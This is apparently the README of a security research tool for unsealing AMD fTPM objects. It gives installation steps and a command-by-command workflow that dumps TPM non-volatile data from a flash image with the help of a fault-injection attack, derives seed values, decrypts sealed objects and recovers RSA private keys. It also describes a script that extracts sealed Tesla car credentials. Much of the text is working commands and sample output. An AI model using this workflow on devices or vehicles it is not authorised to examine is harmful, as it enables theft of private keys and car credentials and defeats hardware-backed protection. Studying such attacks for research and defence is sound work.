Unsealing AMD fTPM Objects

Installation

1. create a python venv: $ python3 -m venv venv
2. enter venv: $ . venv/bin/activate
3. update pip $ pip install -U pip
4. install amd-nv-tool:

$ git submodule init
$ git submodule update
$ pip install ./amd-nv-tool
$ pip install ./PSPTool

5. install other components: pip install -r requirements.txt

Note: Maybe you will experience issues using the pip install psptool variant of psptool, so install it manually in the order provided above.

Usage

To unseal a general tpm object:

1. use amdnvtool (and the associated fi attack) to dump the tpm-nv-data as json:

$ amdnvtool flash-image.bin -s 17a6...f8fe >nvdata.json

2. generate the primary objects seedValue from the template:

$ python gen_prim_seed.py nvdata.json 0023000b00030472000000060080004300100003001000000000 0x20
6fab...54b5

3. unseal a tpm object using the parent's seedValue:

$ python tpm_obj.py 6fab...54b5 tpm_object.pub_bytes tpm_object.priv_bytes
TPM_KEYS {
  hmac_key = 974f...ff30
  aes_key(name) = cfa...596
}

TPM_2B_PUBLIC {
  algorithm = 0x0001
  name_alg = 0x000b
  attributes = 0x00060472
  auth_policy = 
  params = TpmSRsaParms(symmetric=16, scheme=16, key_bits=2048, exponent=65537)
  unique = Tpm2bPublicKeyRsa(length=256, modulus=2520...1377)
}

TPM_2B_PRIVATE {
  hmac = 03cb...edd7
  iv = e20...204
  sensitive = 6681...24da
}

TPM_2B_SENSITIVE {
  algorithm = 0x0001
  auth = 0000...0000
  seed = 
  sensitive = Tpm2bPrivateKeyRsa(bits=1024, prime_p=1640...4841)
}

3. if it's an RSA key, then recover the private key from the modulus and prime p:

$ python recover_rsa_key.py 2520...1377 1640...4841 recovered.key
$ cat recovered.key
-----BEGIN PRIVATE KEY-----
MIIE...

Tesla car creds

For tesla car creds there is an all-in-one script:

Usage:
  unseal-tesla-car-creds.py <command> [<args ...>]
Commands:

  from-nvdata <nvdata.json> <car-creds.key> [<car-creds-unsealed.key>]
  from-image <flash-image.bin> <secret (hex)> <car-creds.key> [<car-creds-unsealed.key>]